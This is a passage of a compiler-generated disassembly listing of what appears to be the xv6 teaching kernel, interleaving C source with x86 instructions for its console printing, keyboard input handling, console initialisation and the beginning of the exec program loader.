80100708: 68 20 a5 10 80 push $0x8010a520
8010070d: e8 0e 3d 00 00 call 80104420 <release>
80100712: 83 c4 10 add $0x10,%esp
}
80100715: 8d 65 f4 lea -0xc(%ebp),%esp
80100718: 5b pop %ebx
80100719: 5e pop %esi
8010071a: 5f pop %edi
8010071b: 5d pop %ebp
8010071c: c3 ret
8010071d: 8d 76 00 lea 0x0(%esi),%esi
continue;
}
c = fmt[++i] & 0xff;
if(c == 0)
break;
switch(c){
80100720: 83 fa 73 cmp $0x73,%edx
80100723: 74 5b je 80100780 <cprintf+0x120>
80100725: 83 fa 78 cmp $0x78,%edx
80100728: 75 1e jne 80100748 <cprintf+0xe8>
case 'd':
printint(*argp++, 10, 1);
break;
case 'x':
case 'p':
printint(*argp++, 16, 0);
8010072a: 8d 46 04 lea 0x4(%esi),%eax
8010072d: 31 c9 xor %ecx,%ecx
8010072f: ba 10 00 00 00 mov $0x10,%edx
80100734: 89 45 e4 mov %eax,-0x1c(%ebp)
80100737: 8b 06 mov (%esi),%eax
80100739: e8 42 fe ff ff call 80100580 <printint>
8010073e: 8b 75 e4 mov -0x1c(%ebp),%esi
break;
80100741: eb 9b jmp 801006de <cprintf+0x7e>
80100743: 90 nop
80100744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case '%':
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
80100748: b8 25 00 00 00 mov $0x25,%eax
8010074d: 89 55 e4 mov %edx,-0x1c(%ebp)
80100750: e8 9b fc ff ff call 801003f0 <consputc>
consputc(c);
80100755: 8b 55 e4 mov -0x1c(%ebp),%edx
80100758: 89 d0 mov %edx,%eax
8010075a: e8 91 fc ff ff call 801003f0 <consputc>
break;
8010075f: e9 7a ff ff ff jmp 801006de <cprintf+0x7e>
80100764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = "(null)";
for(; *s; s++)
consputc(*s);
break;
case '%':
consputc('%');
80100768: b8 25 00 00 00 mov $0x25,%eax
8010076d: e8 7e fc ff ff call 801003f0 <consputc>
80100772: e9 7c ff ff ff jmp 801006f3 <cprintf+0x93>
80100777: 89 f6 mov %esi,%esi
80100779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100780: 8d 46 04 lea 0x4(%esi),%eax
80100783: 8b 36 mov (%esi),%esi
80100785: 89 45 e4 mov %eax,-0x1c(%ebp)
s = "(null)";
80100788: b8 98 6f 10 80 mov $0x80106f98,%eax
8010078d: 85 f6 test %esi,%esi
8010078f: 0f 44 f0 cmove %eax,%esi
for(; *s; s++)
80100792: 0f be 06 movsbl (%esi),%eax
80100795: 84 c0 test %al,%al
80100797: 74 16 je 801007af <cprintf+0x14f>
80100799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801007a0: 83 c6 01 add $0x1,%esi
consputc(*s);
801007a3: e8 48 fc ff ff call 801003f0 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
801007a8: 0f be 06 movsbl (%esi),%eax
801007ab: 84 c0 test %al,%al
801007ad: 75 f1 jne 801007a0 <cprintf+0x140>
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
801007af: 8b 75 e4 mov -0x1c(%ebp),%esi
801007b2: e9 27 ff ff ff jmp 801006de <cprintf+0x7e>
801007b7: 89 f6 mov %esi,%esi
801007b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
uint *argp;
char *s;
locking = cons.locking;
if(locking)
acquire(&cons.lock);
801007c0: 83 ec 0c sub $0xc,%esp
801007c3: 68 20 a5 10 80 push $0x8010a520
801007c8: e8 a3 3b 00 00 call 80104370 <acquire>
801007cd: 83 c4 10 add $0x10,%esp
801007d0: e9 a4 fe ff ff jmp 80100679 <cprintf+0x19>
if (fmt == 0)
panic("null fmt");
801007d5: 83 ec 0c sub $0xc,%esp
801007d8: 68 9f 6f 10 80 push $0x80106f9f
801007dd: e8 8e fb ff ff call 80100370 <panic>
801007e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801007e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801007f0 <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007f0: 55 push %ebp
801007f1: 89 e5 mov %esp,%ebp
801007f3: 57 push %edi
801007f4: 56 push %esi
801007f5: 53 push %ebx
int c, doprocdump = 0;
801007f6: 31 f6 xor %esi,%esi
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007f8: 83 ec 18 sub $0x18,%esp
801007fb: 8b 5d 08 mov 0x8(%ebp),%ebx
int c, doprocdump = 0;
acquire(&cons.lock);
801007fe: 68 20 a5 10 80 push $0x8010a520
80100803: e8 68 3b 00 00 call 80104370 <acquire>
while((c = getc()) >= 0){
80100808: 83 c4 10 add $0x10,%esp
8010080b: 90 nop
8010080c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100810: ff d3 call *%ebx
80100812: 85 c0 test %eax,%eax
80100814: 89 c7 mov %eax,%edi
80100816: 78 48 js 80100860 <consoleintr+0x70>
switch(c){
80100818: 83 ff 10 cmp $0x10,%edi
8010081b: 0f 84 3f 01 00 00 je 80100960 <consoleintr+0x170>
80100821: 7e 5d jle 80100880 <consoleintr+0x90>
80100823: 83 ff 15 cmp $0x15,%edi
80100826: 0f 84 dc 00 00 00 je 80100908 <consoleintr+0x118>
8010082c: 83 ff 7f cmp $0x7f,%edi
8010082f: 75 54 jne 80100885 <consoleintr+0x95>
input.e--;
consputc(BACKSPACE);
}
break;
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
80100831: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100836: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
8010083c: 74 d2 je 80100810 <consoleintr+0x20>
input.e--;
8010083e: 83 e8 01 sub $0x1,%eax
80100841: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
80100846: b8 00 01 00 00 mov $0x100,%eax
8010084b: e8 a0 fb ff ff call 801003f0 <consputc>
consoleintr(int (*getc)(void))
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
80100850: ff d3 call *%ebx
80100852: 85 c0 test %eax,%eax
80100854: 89 c7 mov %eax,%edi
80100856: 79 c0 jns 80100818 <consoleintr+0x28>
80100858: 90 nop
80100859: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
break;
}
}
release(&cons.lock);
80100860: 83 ec 0c sub $0xc,%esp
80100863: 68 20 a5 10 80 push $0x8010a520
80100868: e8 b3 3b 00 00 call 80104420 <release>
if(doprocdump) {
8010086d: 83 c4 10 add $0x10,%esp
80100870: 85 f6 test %esi,%esi
80100872: 0f 85 f8 00 00 00 jne 80100970 <consoleintr+0x180>
procdump(); // now call procdump() wo. cons.lock held
}
}
80100878: 8d 65 f4 lea -0xc(%ebp),%esp
8010087b: 5b pop %ebx
8010087c: 5e pop %esi
8010087d: 5f pop %edi
8010087e: 5d pop %ebp
8010087f: c3 ret
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
80100880: 83 ff 08 cmp $0x8,%edi
80100883: 74 ac je 80100831 <consoleintr+0x41>
input.e--;
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
80100885: 85 ff test %edi,%edi
80100887: 74 87 je 80100810 <consoleintr+0x20>
80100889: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010088e: 89 c2 mov %eax,%edx
80100890: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx
80100896: 83 fa 7f cmp $0x7f,%edx
80100899: 0f 87 71 ff ff ff ja 80100810 <consoleintr+0x20>
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010089f: 8d 50 01 lea 0x1(%eax),%edx
801008a2: 83 e0 7f and $0x7f,%eax
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
801008a5: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
801008a8: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
801008ae: 0f 84 c8 00 00 00 je 8010097c <consoleintr+0x18c>
input.buf[input.e++ % INPUT_BUF] = c;
801008b4: 89 f9 mov %edi,%ecx
801008b6: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax)
consputc(c);
801008bc: 89 f8 mov %edi,%eax
801008be: e8 2d fb ff ff call 801003f0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008c3: 83 ff 0a cmp $0xa,%edi
801008c6: 0f 84 c1 00 00 00 je 8010098d <consoleintr+0x19d>
801008cc: 83 ff 04 cmp $0x4,%edi
801008cf: 0f 84 b8 00 00 00 je 8010098d <consoleintr+0x19d>
801008d5: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801008da: 83 e8 80 sub $0xffffff80,%eax
801008dd: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8
801008e3: 0f 85 27 ff ff ff jne 80100810 <consoleintr+0x20>
input.w = input.e;
wakeup(&input.r);
801008e9: 83 ec 0c sub $0xc,%esp
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
consputc(c);
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
input.w = input.e;
801008ec: a3 a4 ff 10 80 mov %eax,0x8010ffa4
wakeup(&input.r);
801008f1: 68 a0 ff 10 80 push $0x8010ffa0
801008f6: e8 e5 35 00 00 call 80103ee0 <wakeup>
801008fb: 83 c4 10 add $0x10,%esp
801008fe: e9 0d ff ff ff jmp 80100810 <consoleintr+0x20>
80100903: 90 nop
80100904: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100908: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010090d: 39 05 a4 ff 10 80 cmp %eax,0x8010ffa4
80100913: 75 2b jne 80100940 <consoleintr+0x150>
80100915: e9 f6 fe ff ff jmp 80100810 <consoleintr+0x20>
8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
80100920: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
80100925: b8 00 01 00 00 mov $0x100,%eax
8010092a: e8 c1 fa ff ff call 801003f0 <consputc>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
8010092f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100934: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
8010093a: 0f 84 d0 fe ff ff je 80100810 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100940: 83 e8 01 sub $0x1,%eax
80100943: 89 c2 mov %eax,%edx
80100945: 83 e2 7f and $0x7f,%edx
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100948: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx)
8010094f: 75 cf jne 80100920 <consoleintr+0x130>
80100951: e9 ba fe ff ff jmp 80100810 <consoleintr+0x20>
80100956: 8d 76 00 lea 0x0(%esi),%esi
80100959: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
80100960: be 01 00 00 00 mov $0x1,%esi
80100965: e9 a6 fe ff ff jmp 80100810 <consoleintr+0x20>
8010096a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
}
}
80100970: 8d 65 f4 lea -0xc(%ebp),%esp
80100973: 5b pop %ebx
80100974: 5e pop %esi
80100975: 5f pop %edi
80100976: 5d pop %ebp
break;
}
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
80100977: e9 54 36 00 00 jmp 80103fd0 <procdump>
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010097c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax)
consputc(c);
80100983: b8 0a 00 00 00 mov $0xa,%eax
80100988: e8 63 fa ff ff call 801003f0 <consputc>
8010098d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100992: e9 52 ff ff ff jmp 801008e9 <consoleintr+0xf9>
80100997: 89 f6 mov %esi,%esi
80100999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801009a0 <consoleinit>:
return n;
}
void
consoleinit(void)
{
801009a0: 55 push %ebp
801009a1: 89 e5 mov %esp,%ebp
801009a3: 83 ec 10 sub $0x10,%esp
initlock(&cons.lock, "console");
801009a6: 68 a8 6f 10 80 push $0x80106fa8
801009ab: 68 20 a5 10 80 push $0x8010a520
801009b0: e8 5b 38 00 00 call 80104210 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
801009b5: 58 pop %eax
801009b6: 5a pop %edx
801009b7: 6a 00 push $0x0
801009b9: 6a 01 push $0x1
void
consoleinit(void)
{
initlock(&cons.lock, "console");
devsw[CONSOLE].write = consolewrite;
801009bb: c7 05 6c 09 11 80 00 movl $0x80100600,0x8011096c
801009c2: 06 10 80
devsw[CONSOLE].read = consoleread;
801009c5: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968
801009cc: 02 10 80
cons.locking = 1;
801009cf: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
801009d6: 00 00 00
ioapicenable(IRQ_KBD, 0);
801009d9: e8 b2 18 00 00 call 80102290 <ioapicenable>
}
801009de: 83 c4 10 add $0x10,%esp
801009e1: c9 leave
801009e2: c3 ret
801009e3: 66 90 xchg %ax,%ax
801009e5: 66 90 xchg %ax,%ax
801009e7: 66 90 xchg %ax,%ax
801009e9: 66 90 xchg %ax,%ax
801009eb: 66 90 xchg %ax,%ax
801009ed: 66 90 xchg %ax,%ax
801009ef: 90 nop
801009f0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009f0: 55 push %ebp
801009f1: 89 e5 mov %esp,%ebp
801009f3: 57 push %edi
801009f4: 56 push %esi
801009f5: 53 push %ebx
801009f6: 81 ec 0c 01 00 00 sub $0x10c,%esp
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
801009fc: e8 6f 2d 00 00 call 80103770 <myproc>
80100a01: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
80100a07: e8 34 21 00 00 call 80102b40 <begin_op>
if((ip = namei(path)) == 0){
80100a0c: 83 ec 0c sub $0xc,%esp
80100a0f: ff 75 08 pushl 0x8(%ebp)
80100a12: e8 99 14 00 00 call 80101eb0 <namei>
80100a17: 83 c4 10 add $0x10,%esp
80100a1a: 85 c0 test %eax,%eax
80100a1c: 0f 84 9c 01 00 00 je 80100bbe <exec+0x1ce>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
80100a22: 83 ec 0c sub $0xc,%esp
80100a25: 89 c3 mov %eax,%ebx
80100a27: 50 push %eax
80100a28: e8 33 0c 00 00 call 80101660 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
80100a2d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
80100a33: 6a 34 push $0x34
80100a35: 6a 00 push $0x0
80100a37: 50 push %eax
80100a38: 53 push %ebx
80100a39: e8 02 0f 00 00 call 80101940 <readi>
80100a3e: 83 c4 20 add $0x20,%esp
80100a41: 83 f8 34 cmp $0x34,%eax
80100a44: 74 22 je 80100a68 <exec+0x78>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a46: 83 ec 0c sub $0xc,%esp
80100a49: 53 push %ebx
80100a4a: e8 a1 0e 00 00 call 801018f0 <iunlockput>
end_op();
80100a4f: e8 5c 21 00 00 call 80102bb0 <end_op>
80100a54: 83 c4 10 add $0x10,%esp
}
return -1;
80100a57: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a5c: 8d 65 f4 lea -0xc(%ebp),%esp
80100a5f: 5b pop %ebx
80100a60: 5e pop %esi
80100a61: 5f pop %edi
80100a62: 5d pop %ebp
80100a63: c3 ret
80100a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
goto bad;
if(elf.magic != ELF_MAGIC)
80100a68: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a6f: 45 4c 46
80100a72: 75 d2 jne 80100a46 <exec+0x56>
goto bad;
if((pgdir = setupkvm()) == 0)
80100a74: e8 07 62 00 00 call 80106c80 <setupkvm>
80100a79: 85 c0 test %eax,%eax
80100a7b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100a81: 74 c3 je 80100a46 <exec+0x56>
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a83: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100a8a: 00
80100a8b: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi
80100a91: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp)
80100a98: 00 00 00
80100a9b: 0f 84 c5 00 00 00 je 80100b66 <exec+0x176>
80100aa1: 31 ff xor %edi,%edi
80100aa3: eb 18 jmp 80100abd <exec+0xcd>
80100aa5: 8d 76 00 lea 0x0(%esi),%esi
80100aa8: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100aaf: 83 c7 01 add $0x1,%edi
80100ab2: 83 c6 20 add $0x20,%esi
80100ab5: 39 f8 cmp %edi,%eax
80100ab7: 0f 8e a9 00 00 00 jle 80100b66 <exec+0x176>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100abd: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100ac3: 6a 20 push $0x20
80100ac5: 56 push %esi
80100ac6: 50 push %eax
80100ac7: 53 push %ebx
80100ac8: e8 73 0e 00 00 call 80101940 <readi>
80100acd: 83 c4 10 add $0x10,%esp
80100ad0: 83 f8 20 cmp $0x20,%eax
80100ad3: 75 7b jne 80100b50 <exec+0x160>
goto bad;
if(ph.type != ELF_PROG_LOAD)
80100ad5: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100adc: 75 ca jne 80100aa8 <exec+0xb8>
continue;
if(ph.memsz < ph.filesz)
80100ade: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100ae4: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100aea: 72 64 jb 80100b50 <exec+0x160>
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
80100aec: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100af2: 72 5c jb 80100b50 <exec+0x160>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100af4: 83 ec 04 sub $0x4,%esp
80100af7: 50 push %eax
80100af8: ff b5 ec fe ff ff pushl -0x114(%ebp)
80100afe: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b04: e8 c7 5f 00 00 call 80106ad0 <allocuvm>
80100b09: 83 c4 10 add $0x10,%esp
80100b0c: 85 c0 test %eax,%eax
80100b0e: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100b14: 74 3a je 80100b50 <exec+0x160>
goto bad;
if(ph.vaddr % PGSIZE != 0)
80100b16: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100b1c: a9 ff 0f 00 00 test $0xfff,%eax
80100b21: 75 2d jne 80100b50 <exec+0x160>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100b23: 83 ec 0c sub $0xc,%esp
80100b26: ff b5 14 ff ff ff pushl -0xec(%ebp)
80100b2c: ff b5 08 ff ff ff pushl -0xf8(%ebp)
80100b32: 53 push %ebx
80100b33: 50 push %eax
80100b34: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b3a: e8 d1 5e 00 00 call 80106a10 <loaduvm>
80100b3f: 83 c4 20 add $0x20,%esp
80100b42: 85 c0 test %eax,%eax
80100b44: 0f 89 5e ff ff ff jns 80100aa8 <exec+0xb8>
80100b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
80100b50: 83 ec 0c sub $0xc,%esp
80100b53: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b59: e8 a2 60 00 00 call 80106c00 <freevm>
80100b5e: 83 c4 10 add $0x10,%esp
80100b61: e9 e0 fe ff ff jmp 80100a46 <exec+0x56>
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100b66: 83 ec 0c sub $0xc,%esp
80100b69: 53 push %ebx
80100b6a: e8 81 0d 00 00 call 801018f0 <iunlockput>
end_op();
80100b6f: e8 3c 20 00 00 call 80102bb0 <end_op>
ip = 0;
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100b74: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100b7a: 83 c4 0c add $0xc,%esp
end_op();
ip = 0;
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100b7d: 05 ff 0f 00 00 add $0xfff,%eax
80100b82: 25 00 f0 ff ff and $0xfffff000,%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100b87: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100b8d: 52 push %edx
80100b8e: 50 push %eax
80100b8f: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b95: e8 36 5f 00 00 call 80106ad0 <allocuvm>
80100b9a: 83 c4 10 add $0x10,%esp
80100b9d: 85 c0 test %eax,%eax
80100b9f: 89 c6 mov %eax,%esi
80100ba1: 75 3a jne 80100bdd <exec+0x1ed>
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
80100ba3: 83 ec 0c sub $0xc,%esp
80100ba6: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100bac: e8 4f 60 00 00 call 80106c00 <freevm>
80100bb1: 83 c4 10 add $0x10,%esp
if(ip){
iunlockput(ip);
end_op();
}
return -1;
80100bb4: b8 ff ff ff ff mov $0xffffffff,%eax
80100bb9: e9 9e fe ff ff jmp 80100a5c <exec+0x6c>
struct proc *curproc = myproc();
begin_op();
if((ip = namei(path)) == 0){
end_op();
80100bbe: e8 ed 1f 00 00 call 80102bb0 <end_op>
cprintf("exec: fail\n");
80100bc3: 83 ec 0c sub $0xc,%esp
80100bc6: 68 c1 6f 10 80 push $0x80106fc1
80100bcb: e8 90 fa ff ff call 80100660 <cprintf>
return -1;
80100bd0: 83 c4 10 add $0x10,%esp
80100bd3: b8 ff ff ff ff mov $0xffffffff,%eax
80100bd8: e9 7f fe ff ff jmp 80100a5c <exec+0x6c>
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100bdd: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax
80100be3: 83 ec 08 sub $0x8,%esp
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100be6: 31 ff xor %edi,%edi
80100be8: 89 f3 mov %esi,%ebx
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100bea: 50 push %eax
80100beb: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100bf1: e8 2a 61 00 00 call 80106d20 <clearpteu>
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100bf6: 8b 45 0c mov 0xc(%ebp),%eax
80100bf9: 83 c4 10 add $0x10,%esp
80100bfc: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100c02: 8b 00 mov (%eax),%eax
80100c04: 85 c0 test %eax,%eax
80100c06: 74 79 je 80100c81 <exec+0x291>
80100c08: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp)
80100c0e: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi
80100c14: eb 13 jmp 80100c29 <exec+0x239>
80100c16: 8d 76 00 lea 0x0(%esi),%esi
80100c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(argc >= MAXARG)
80100c20: 83 ff 20 cmp $0x20,%edi
80100c23: 0f 84 7a ff ff ff je 80100ba3 <exec+0x1b3>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100c29: 83 ec 0c sub $0xc,%esp
80100c2c: 50 push %eax
80100c2d: e8 7e 3a 00 00 call 801046b0 <strlen>
80100c32: f7 d0 not %eax
80100c34: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100c36: 8b 45 0c mov 0xc(%ebp),%eax
80100c39: 5a pop %edx
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100c3a: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100c3d: ff 34 b8 pushl (%eax,%edi,4)
80100c40: e8 6b 3a 00 00 call 801046b0 <strlen>
80100c45: 83 c0 01 add $0x1,%eax
80100c48: 50 push %eax
80100c49: 8b 45 0c mov 0xc(%ebp),%eax
80100c4c: ff 34 b8 pushl (%eax,%edi,4)
80100c4f: 53 push %ebx
80100c50: 56 push %esi
80100c51: e8 3a 62 00 00 call 80106e90 <copyout>
80100c56: 83 c4 20 add $0x20,%esp
80100c59: 85 c0 test %eax,%eax
80100c5b: 0f 88 42 ff ff ff js 80100ba3 <exec+0x1b3>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c61: 8b 45 0c mov 0xc(%ebp),%eax
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100c64: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c6b: 83 c7 01 add $0x1,%edi
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100c6e: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c74: 8b 04 b8 mov (%eax,%edi,4),%eax
80100c77: 85 c0 test %eax,%eax
80100c79: 75 a5 jne 80100c20 <exec+0x230>
80100c7b: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c81: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax
80100c88: 89 d9 mov %ebx,%ecx
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
